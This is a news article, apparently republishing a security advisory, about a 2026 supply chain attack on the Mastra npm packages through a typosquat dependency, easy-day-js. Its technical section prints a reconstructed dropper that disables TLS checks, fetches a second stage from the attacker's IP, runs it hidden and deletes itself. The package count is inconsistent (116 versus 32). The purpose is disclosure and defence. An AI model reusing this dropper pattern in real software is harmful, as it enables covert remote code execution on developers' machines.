{"slug": "mastra-compromised-in-supply-chain-attack", "title": "Mastra compromised in supply chain attack", "summary": "An attacker hijacked a Mastra maintainer's account and republished 116 packages in the @mastra catalog over 27 minutes, adding a hidden dependency on the typosquat package easy-day-js. The malicious package disables TLS validation, fetches a second-stage payload from a raw IP, and runs it as a hidden process. Mastra is an open-source AI toolkit downloaded 28 million times monthly, making the compromised account a severe supply chain risk.", "body_md": "## TL;DR\n\nAn attacker took over the account of a Mastra maintainer and used it to tamper with the project at scale. Over a 27-minute window, they republished the entire @mastra catalog. They left Mastra's own code alone. In each package they changed a single line, adding a hidden link to a counterfeit component named `easy-day-js`\n\n, a lookalike of a widely used tool called `dayjs`\n\n.\n\nMastra is an open-source toolkit that software developers use to build AI applications and agents. It comes from the team behind Gatsby and is widely adopted: the project's components are downloaded more than 28 million times a month by teams building on top of it. Like most modern software, Mastra is shipped as a set of small, reusable building blocks that other programs pull in automatically. That reach is what made one stolen account so dangerous.\n\n`easy-day-js`\n\nis a typosquat. It impersonates dayjs down to the description and the bundled dayjs.min.js, but adds a postinstall hook that runs a dropper. On install, the dropper disables TLS certificate validation, fetches a second-stage payload from a raw IP address, writes it to the temp directory, runs it as a detached and hidden child process, and deletes itself.\n\nThree things stand out about this incident:\n\n**The whole org went at once.** This was not one package. It was a scripted sweep of 116 packages in under half an hour, ordered roughly by download count, which points to a hijacked account with publish rights across the entire scope rather than a single rogue release.**The carrier packages are clean; the payload is one level down.** Every Mastra package is an unmodified library with a single poisoned dependency line. Scanners that only inspect the named package's own code will not see anything wrong. The malicious behavior lives in easy-day-js, and in most of the packages that dependency is never even imported.**A pre-staged decoy dependency.** easy-day-js@1.11.21 was published a day earlier with no install hook, a clean decoy. The weaponized 1.11.22 landed at 01:01 UTC, eleven minutes before the Mastra sweep began.\n\n## Affected packages\n\nAll versions below are malicious and were published 2026-06-17. Pin to the last provenance-backed release of each and treat these specific versions as compromised.\n\n| Package |\nMalicious version |\nPublished (UTC) |\nDownloads/month |\n| @mastra/schema-compat |\n1.2.12 |\n1:12 |\n5,279,923 |\n| @mastra/core |\n1.42.1 |\n1:15 |\n4,013,267 |\n| mastra |\n1.13.1 |\n1:20 |\n2,139,510 |\n| @mastra/memory |\n1.20.4 |\n1:16 |\n2,057,689 |\n| @mastra/server |\n2.1.1 |\n1:17 |\n1,864,647 |\n| @mastra/deployer |\n1.42.1 |\n1:19 |\n1,858,620 |\n| @mastra/observability |\n1.14.2 |\n1:18 |\n1,695,048 |\n| @mastra/loggers |\n1.1.3 |\n1:18 |\n1,672,903 |\n| @mastra/pg |\n1.13.1 |\n1:25 |\n1,361,195 |\n| @mastra/mcp |\n1.10.1 |\n1:25 |\n1,203,924 |\n| @mastra/ai-sdk |\n1.4.6 |\n1:27 |\n1,069,650 |\n| @mastra/libsql |\n1.13.1 |\n1:26 |\n977,312 |\n| @mastra/langfuse |\n1.3.6 |\n1:29 |\n617,580 |\n| @mastra/evals |\n1.3.1 |\n1:29 |\n476,879 |\n| @mastra/rag |\n2.2.2 |\n1:30 |\n307,033 |\n| @mastra/datadog |\n1.2.5 |\n1:30 |\n253,586 |\n| @mastra/duckdb |\n1.4.3 |\n1:32 |\n222,862 |\n| @mastra/braintrust |\n1.1.4 |\n1:33 |\n187,050 |\n| @mastra/dynamodb |\n1.0.9 |\n1:31 |\n160,266 |\n| @mastra/hono |\n1.4.26 |\n1:32 |\n152,792 |\n| @mastra/otel-bridge |\n1.2.3 |\n1:33 |\n132,788 |\n| @mastra/editor |\n0.11.3 |\n1:34 |\n128,885 |\n| @mastra/langsmith |\n1.2.4 |\n1:34 |\n120,459 |\n| @mastra/mcp-docs-server |\n1.1.47 |\n1:37 |\n97,609 |\n| @mastra/mongodb |\n1.9.3 |\n1:35 |\n92,100 |\n| @mastra/posthog |\n1.0.29 |\n1:36 |\n90,917 |\n| @mastra/fastembed |\n1.1.3 |\n1:39 |\n77,220 |\n| @mastra/s3 |\n0.5.3 |\n1:38 |\n64,299 |\n| @mastra/sentry |\n1.1.4 |\n1:35 |\n63,793 |\n| @mastra/fastify |\n1.3.31 |\n1:39 |\n61,020 |\n| @mastra/auth |\n1.0.3 |\n1:38 |\n59,979 |\n| @mastra/inngest |\n1.5.2 |\n1:39 |\n51,427 |\n| @mastra/acp |\n0.2.2 |\n1:55 |\nnot separately reported |\n| @mastra/agent-browser |\n0.3.2 |\n1:42 |\nnot separately reported |\n| @mastra/agent-builder |\n1.0.42 |\n1:59 |\nnot separately reported |\n| @mastra/agentcore |\n0.2.2 |\n2:23 |\nnot separately reported |\n| @mastra/agentfs |\n0.1.1 |\n2:17 |\nnot separately reported |\n| @mastra/arize |\n1.2.3 |\n1:44 |\nnot separately reported |\n| @mastra/arthur |\n0.3.3 |\n2:22 |\nnot separately reported |\n| @mastra/astra |\n1.0.2 |\n2:06 |\nnot separately reported |\n| @mastra/auth-auth0 |\n1.0.2 |\n1:54 |\nnot separately reported |\n| @mastra/auth-better-auth |\n1.0.4 |\n1:45 |\nnot separately reported |\n| @mastra/auth-clerk |\n1.0.3 |\n1:46 |\nnot separately reported |\n| @mastra/auth-cloud |\n1.1.4 |\n2:08 |\nnot separately reported |\n| @mastra/auth-firebase |\n1.0.1 |\n2:20 |\nnot separately reported |\n| @mastra/auth-okta |\n0.0.5 |\n2:18 |\nnot separately reported |\n| @mastra/auth-studio |\n1.2.4 |\n2:16 |\nnot separately reported |\n| @mastra/auth-supabase |\n1.0.2 |\n1:47 |\nnot separately reported |\n| @mastra/auth-workos |\n1.5.3 |\n1:55 |\nnot separately reported |\n| @mastra/azure |\n0.2.3 |\n2:18 |\nnot separately reported |\n| @mastra/blaxel |\n0.4.2 |\n1:57 |\nnot separately reported |\n| @mastra/brightdata |\n0.2.2 |\n2:19 |\nnot separately reported |\n| @mastra/browser-viewer |\n0.1.3 |\n2:15 |\nnot separately reported |\n| @mastra/chroma |\n1.0.2 |\n1:45 |\nnot separately reported |\n| @mastra/claude |\n1.0.3 |\n2:02 |\nnot separately reported |\n| @mastra/clickhouse |\n1.10.1 |\n1:37 |\nnot separately reported |\n| @mastra/client-js |\n1.24.1 |\n1:26 |\nnot separately reported |\n| @mastra/cloudflare |\n1.4.2 |\n1:55 |\nnot separately reported |\n| @mastra/cloudflare-d1 |\n1.0.7 |\n1:50 |\nnot separately reported |\n| @mastra/codemod |\n1.0.4 |\n2:23 |\nnot separately reported |\n| @mastra/convex |\n1.2.2 |\n1:46 |\nnot separately reported |\n| @mastra/couchbase |\n1.0.4 |\n1:58 |\nnot separately reported |\n| @mastra/cursor |\n0.2.1 |\n2:04 |\nnot separately reported |\n| @mastra/daytona |\n0.4.2 |\n1:41 |\nnot separately reported |\n| @mastra/deployer-cloud |\n1.42.1 |\n2:05 |\nnot separately reported |\n| @mastra/deployer-cloudflare |\n1.1.44 |\n1:47 |\nnot separately reported |\n| @mastra/deployer-netlify |\n1.1.20 |\n2:02 |\nnot separately reported |\n| @mastra/deployer-vercel |\n1.1.38 |\n1:41 |\nnot separately reported |\n| @mastra/docker |\n0.3.1 |\n1:53 |\nnot separately reported |\n| @mastra/dsql |\n1.0.3 |\n1:57 |\nnot separately reported |\n| @mastra/e2b |\n0.3.4 |\n1:44 |\nnot separately reported |\n| @mastra/elasticsearch |\n1.2.1 |\n2:20 |\nnot separately reported |\n| @mastra/express |\n1.3.31 |\n1:31 |\nnot separately reported |\n| @mastra/files-sdk |\n0.2.1 |\n2:06 |\nnot separately reported |\n| @mastra/gcs |\n0.2.3 |\n1:48 |\nnot separately reported |\n| @mastra/github-signals |\n0.1.2 |\n2:07 |\nnot separately reported |\n| @mastra/google-cloud-pubsub |\n1.0.6 |\n2:03 |\nnot separately reported |\n| @mastra/google-drive |\n0.1.1 |\n2:21 |\nnot separately reported |\n| @mastra/koa |\n1.5.14 |\n2:00 |\nnot separately reported |\n| @mastra/laminar |\n1.2.3 |\n2:09 |\nnot separately reported |\n| @mastra/lance |\n1.0.7 |\n2:04 |\nnot separately reported |\n| @mastra/longmemeval |\n1.0.50 |\n1:54 |\nnot separately reported |\n| @mastra/mcp-registry-registry |\n1.0.2 |\n2:00 |\nnot separately reported |\n| @mastra/mssql |\n1.3.2 |\n1:56 |\nnot separately reported |\n| @mastra/mysql |\n0.1.1 |\n2:21 |\nnot separately reported |\n| @mastra/nestjs |\n0.1.15 |\n1:51 |\nnot separately reported |\n| @mastra/openai |\n1.0.2 |\n2:05 |\nnot separately reported |\n| @mastra/opencode |\n0.0.47 |\n2:17 |\nnot separately reported |\n| @mastra/opensearch |\n1.0.3 |\n2:04 |\nnot separately reported |\n| @mastra/otel-exporter |\n1.2.3 |\n1:28 |\nnot separately reported |\n| @mastra/perplexity |\n0.1.1 |\n2:24 |\nnot separately reported |\n| @mastra/pinecone |\n1.0.2 |\n1:52 |\nnot separately reported |\n| @mastra/playground-ui |\n33.0.1 |\n1:49 |\nnot separately reported |\n| @mastra/qdrant |\n1.0.3 |\n1:46 |\nnot separately reported |\n| @mastra/react |\n1.0.1 |\n1:42 |\nnot separately reported |\n| @mastra/redis |\n1.1.3 |\n1:48 |\nnot separately reported |\n| @mastra/redis-streams |\n0.0.4 |\n2:03 |\nnot separately reported |\n| @mastra/s3vectors |\n1.0.7 |\n1:50 |\nnot separately reported |\n| @mastra/slack |\n1.3.1 |\n2:19 |\nnot separately reported |\n| @mastra/spanner |\n1.1.2 |\n2:22 |\nnot separately reported |\n| @mastra/stagehand |\n0.2.5 |\n1:40 |\nnot separately reported |\n| @mastra/tavily |\n1.0.3 |\n1:45 |\nnot separately reported |\n| @mastra/temporal |\n0.1.14 |\n1:53 |\nnot separately reported |\n| @mastra/turbopuffer |\n1.0.3 |\n1:52 |\nnot separately reported |\n| @mastra/twilio |\n1.0.2 |\n2:16 |\nnot separately reported |\n| @mastra/upstash |\n1.1.3 |\n1:43 |\nnot separately reported |\n| @mastra/vectorize |\n1.0.3 |\n1:58 |\nnot separately reported |\n| @mastra/voice-aws-nova-sonic |\n0.1.4 |\n2:01 |\nnot separately reported |\n| @mastra/voice-azure |\n0.11.2 |\n2:23 |\nnot separately reported |\n| @mastra/voice-deepgram |\n0.12.2 |\n1:53 |\nnot separately reported |\n| @mastra/voice-elevenlabs |\n0.12.2 |\n1:51 |\nnot separately reported |\n| @mastra/voice-google |\n0.12.3 |\n1:51 |\nnot separately reported |\n| @mastra/voice-google-gemini-live |\n0.12.2 |\n1:43 |\nnot separately reported |\n| @mastra/voice-openai |\n0.12.3 |\n1:42 |\nnot separately reported |\n| @mastra/voice-openai-realtime |\n0.12.6 |\n1:40 |\nnot separately reported |\n| create-mastra |\n1.13.1 |\n1:56 |\nnot separately reported |\n\nThe dropper dependency:\n\n| Package |\nVersion |\nRole |\n| easy-day-js |\n1.11.21 |\nClean decoy, no install hook, published 2026-06-16 |\n| easy-day-js |\n1.11.22 |\nWeaponized, postinstall dropper, published 2026-06-17 01:01 UTC |\n\n## Timeline\n\n| Time (UTC) |\nEvent |\n| 2026-06-16 07:05 |\neasy-day-js@1.11.21 published, a clean decoy with no install hook |\n| 2026-06-17 01:01 |\neasy-day-js@1.11.22 published, carrying the postinstall dropper |\n| 2026-06-17 01:12 |\nFirst Mastra package republished (@mastra/schema-compat) |\n| 2026-06-17 01:12 to 01:39 |\n32 Mastra packages republished by ehindero, no provenance |\n\n## Technical analysis\n\n### The carrier pattern\n\nWe pulled and inspected the published tarballs without installing them. Every affected Mastra package shows the same single change: a new line in `package.json`\n\ndeclaring \"`easy-day-js\": \"^1.11.21`\n\n\". In the packages we examined, the dependency is not imported or referenced anywhere in the package source. It does no work for the library. Its only function is to be resolved and installed, which is enough to fire the dropper's `postinstall`\n\nhook.\n\nThis is why the Mastra packages themselves are not malicious in the usual sense. They are carriers. The malware is one dependency level down, and the lockfile constraint `^1.11.21`\n\nresolves to the weaponized `1.11.22`\n\n.\n\nEvery release also dropped the SLSA provenance attestation that the project's GitHub Actions pipeline normally produces, and several tripped a metadata masquerade check because the declared `mastra-ai/mastra`\n\nrepository does not vouch for the published artifact. Both are consistent with a manual publish from outside the project's CI, using credentials with org-wide publish rights.\n\n### easy-day-js: the disguise\n\n`easy-day-js`\n\nis built to pass a glance. It copies the `dayjs`\n\ndescription (\"2KB immutable date time library alternative to Moment.js\"), ships the real `dayjs.min.js`\n\nas its main entry, and includes the full `dayjs `\n\nlocale and plugin tree. We confirmed the bundled `dayjs.min.js`\n\nis byte-identical between the decoy `1.11.21 `\n\nand the weaponized `1.11.22.`\n\nThe only meaningful difference between the two versions is a single added file, `setup.cjs`\n\n, and a single added line in `package.json`\n\n:\n\n```\n\"scripts\": {\n\n  \"postinstall\": \"node setup.cjs --no-warnings\"\n\n}\n```\n\n### The dropper\n\n`setup.cjs`\n\nis a 4.5 KB obfuscator.io-style script: a rotated string array behind a base64 decoder. We deobfuscated it statically in a sandbox, cracking the array rotation and resolving the string references. The operational literals are embedded directly in the install-time routine and are unambiguous. Reconstructed, it does the following:\n\n```\n// 1. Disable TLS certificate validation for the whole process\n\nprocess.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';\n\n(async () => {\n\n  try {\n\n    const c2 = 'https://23.254.164.92:8000/update/49890878';\n\n    // 2. Drop marker files in the home/temp dir\n\n    fs.writeFileSync(path.join(os.homedir(), '.pkg_history'), __dirname, 'utf-8');\n\n    fs.writeFileSync(path.join(os.homedir(), '.pkg_logs'), markerBytes);\n\n    // 3. Fetch the second-stage payload over the now-unverified TLS connection\n\n    const payload = await (await fetch(c2, { method: 'GET' })).text();\n\n    // 4. Write it to a random filename in the working dir\n\n    const name = crypto.randomBytes(12).toString('hex') + '.js';\n\n    const dest = path.join(os.homedir(), name);\n\n    fs.writeFileSync(dest, payload, 'utf-8');\n\n    // 5. Run it as a detached, hidden child process that outlives the install\n\n    child_process.spawn(process.execPath, [dest, token], {\n\n      cwd: os.homedir(),\n\n      detached: true,\n\n      stdio: 'ignore',\n\n      windowsHide: true\n\n    }).unref();\n\n  } catch {}\n\n  finally {\n\n    // 6. Delete this dropper to remove evidence\n\n    fs.rmSync(__filename, { force: true });\n\n  }\n\n})();\n```\n\nThe sequence is deliberate. Disabling `NODE_TLS_REJECT_UNAUTHORIZED`\n\nlets the dropper talk to a bare IP on port 8000 with no valid certificate. The payload is never written to disk in the package itself, only fetched at install time, so the published artifact stays small and clean-looking. `detached: true`\n\nplus .`unref()`\n\nmeans the spawned process keeps running after `npm install returns,`\n\nand `windowsHide`\n\n: true keeps it off-screen on Windows. The finally block removes` setup.cjs`\n\nso a post-install inspection of `node_modules`\n\nfinds nothing.\n\n### Indicators worth noting\n\nThe deobfuscated strings surfaced a second endpoint on the same host range, `23.254.164.123:443, `\n\nalongside the primary `23.254.164.92:8000.`\n\nBoth should be blocked. The dropper also leaves two marker files, .`pkg_history`\n\n(containing the install path) and `.pkg_logs`\n\n, which are useful for hunting. As of time of analysis, the initial `/update/49890878`\n\npayload was no longer reachable and returned a not found from the webserver.\n\n## Indicators of compromise\n\n### Package indicators\n\nAll 32 Mastra versions in the table above, plus:\n\n| Indicator |\nNotes |\n| easy-day-js@1.11.22 |\nWeaponized dropper |\n| easy-day-js@1.11.21 |\nClean decoy, still attacker-controlled, should be blocked |\n| Publisher ehindero / ehindero2016@tutamail.com |\nAccount used for every malicious publish |\n| Any @mastra/* or mastra version published 2026-06-17 without SLSA provenance |\nManual publish outside CI |\n\n### Network indicators\n\n| Indicator |\nNotes |\n| https://23.254.164.92:8000/update/49890878 |\nSecond-stage payload URL |\n| 23.254.164.123:443 |\nSecondary endpoint on the same /24 |\n\n### File and behavioral indicators\n\n| Indicator |\nNotes |\n| ~/.pkg_history |\nMarker file containing the install path |\n| ~/.pkg_logs |\nMarker file dropped by the hook |\n| Random <24-hex>.js file in the home dir |\nThe fetched second stage |\n| node setup.cjs running during npm install |\nThe dropper |\n| NODE_TLS_REJECT_UNAUTHORIZED=0 set by an install script |\nTLS validation disabled |\n| Detached node child process spawned during install |\nThe running payload |\n\n### Code markers\n\n| Marker |\nNotes |\n| \"postinstall\": \"node setup.cjs --no-warnings\" |\nIn easy-day-js@1.11.22 |\n| process.env.NODE_TLS_REJECT_UNAUTHORIZED='0' |\nIn setup.cjs |\n| Buffer.from(... ); ... spawn(process.execPath, ...).unref() |\nDetached payload launch |\n| fs.rmSync(__filename, { force: true }) |\nSelf-delete in the finally block |\n\n## Remediation\n\n### Check your exposure\n\n```\n# Is any affected package or the dropper in your tree?\n\nnpm ls easy-day-js\n\ngrep -REn \"@mastra/|\\\"mastra\\\"|easy-day-js\" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null\n\n# Look for the dropped artifacts on hosts and CI runners\n\nls -la ~/.pkg_history ~/.pkg_logs 2>/dev/null\n\nfind \"$HOME\" -maxdepth 1 -type f -name '*.js' -newermt '2026-06-17' 2>/dev/null\n```\n\nPin every Mastra dependency to the last version published via GitHub Actions with provenance, and add easy-day-js to your registry blocklist.\n\n### If you installed an affected version\n\nTreat the host as compromised. The dropper disabled TLS validation in-process and launched a detached child whose contents were fetched at runtime, so the install hook is not the whole story.\n\n- Rotate every credential reachable from the affected host or CI runner: cloud keys, registry tokens, CI secrets, and anything in environment variables the build could read.\n- Hunt for and kill any detached\n`node`\n\nprocess spawned around install time, and remove the random `.js`\n\nfile from the home directory. - Block outbound traffic to\n`23.254.164.92`\n\nand `23.254.164.123 `\n\nand review egress logs for connections to either since 01:12 UTC on 2026-06-17.\n\n### Longer term\n\n**Disable install scripts by default.** `npm install --ignore-scripts`\n\nblocks postinstall and neutralizes this entire class of `dependency-trojan.`\n\n**Enforce provenance.** Requiring SLSA provenance on first-party dependencies would have flagged every one of these releases, since all 32 dropped it.**Pin with integrity hashes and review dependency additions.** A new, unused dependency added to a mature package is a strong signal. Here, a single added line in `package.json`\n\nwas the entire compromise.", "url": "https://wpnews.pro/news/mastra-compromised-in-supply-chain-attack", "canonical_source": "https://www.endorlabs.com/learn/mastra-npm-org-compromised-multiple-packages-trojanized-to-drop-a-remote-payload-via-easy-day-js", "published_at": "2026-06-17 03:24:25+00:00", "updated_at": "2026-06-17 03:53:07.028552+00:00", "lang": "en", "topics": ["ai-safety", "ai-tools", "ai-infrastructure", "ai-research", "ai-agents"], "entities": ["Mastra", "Gatsby", "easy-day-js", "dayjs"], "alternates": {"html": "https://wpnews.pro/news/mastra-compromised-in-supply-chain-attack", "markdown": "https://wpnews.pro/news/mastra-compromised-in-supply-chain-attack.md", "text": "https://wpnews.pro/news/mastra-compromised-in-supply-chain-attack.txt", "jsonld": "https://wpnews.pro/news/mastra-compromised-in-supply-chain-attack.jsonld"}}